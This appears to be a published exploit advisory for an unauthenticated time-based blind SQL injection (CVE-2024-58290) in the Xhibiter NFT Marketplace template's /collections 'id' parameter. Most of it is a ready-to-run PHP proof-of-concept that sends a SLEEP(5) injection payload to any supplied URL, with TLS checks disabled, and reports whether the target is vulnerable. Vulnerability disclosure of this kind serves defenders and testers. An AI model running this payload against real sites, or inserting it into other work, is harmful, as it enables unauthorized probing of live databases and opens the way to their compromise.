Xhibiter NFT Marketplace 1.10.2 SQL Injection

=============================================================================================================================================
| # Title Xhibiter NFT Marketplace 1.10.2 SQL Injection

=============================================================================================================================================
| # Title : Xhibiter NFT Marketplace <= 1.10.2 Unauthenticated Time-Based SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://themeforest.net/item/xhibiter-nft-marketplace-html-template/36542347 |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214186/ & CVE-2024-58290

[+] Summary : A time-based blind SQL injection vulnerability exists in the "id" parameter of the /collections endpoint in Xhibiter NFT Marketplace. An unauthenticated
attacker can inject arbitrary SQL queries, leading to database interaction confirmation via delay-based payloads.


[+] Usage : php poc.php --url=http://target/xhibiter

[+] POC :

<?php


if (php_sapi_name() !== 'cli') {
die("Run this script from CLI only.\n");
}

function banner() {
echo "
##########################################################
# CVE-2024-58290 - Xhibiter SQL Injection Detector #
# PHP Poc by indoushka #
##########################################################
";
}

function checkVulnerability($baseUrl) {

$endpoint = rtrim($baseUrl, '/') . "/collections";

// Time-Based SQL Injection Payload
$payload = "1' AND (SELECT 5678 FROM (SELECT(SLEEP(5)))DwVr) AND '1'='1";

$query = http_build_query([
'id' => $payload
]);

$url = $endpoint . "?" . $query;

echo "[*] Target URL: {$endpoint}\n";
echo "[*] Testing for SQL Injection (Time-Based)...\n";

$start = microtime(true);

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);

curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);

$end = microtime(true);
$duration = $end - $start;

if ($error) {
echo "[!] CURL Error: {$error}\n";
return;
}

if ($duration >= 5) {
echo "\n[+] SUCCESS: Target is VULNERABLE to CVE-2024-58290\n";
echo "[+] Response delay: " . round($duration, 2) . " seconds\n";
echo "[+] Database executed SLEEP(5)\n";
} else {
echo "\n[-] FAILED: Target does not appear vulnerable\n";
echo "[-] Response time: " . round($duration, 2) . " seconds\n";
}
}

$options = getopt("", ["url:"]);

if (!isset($options['url'])) {
echo "Usage: php poc.php --url=http://target/xhibiter\n";
exit;
}

banner();
checkVulnerability($options['url']);


Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================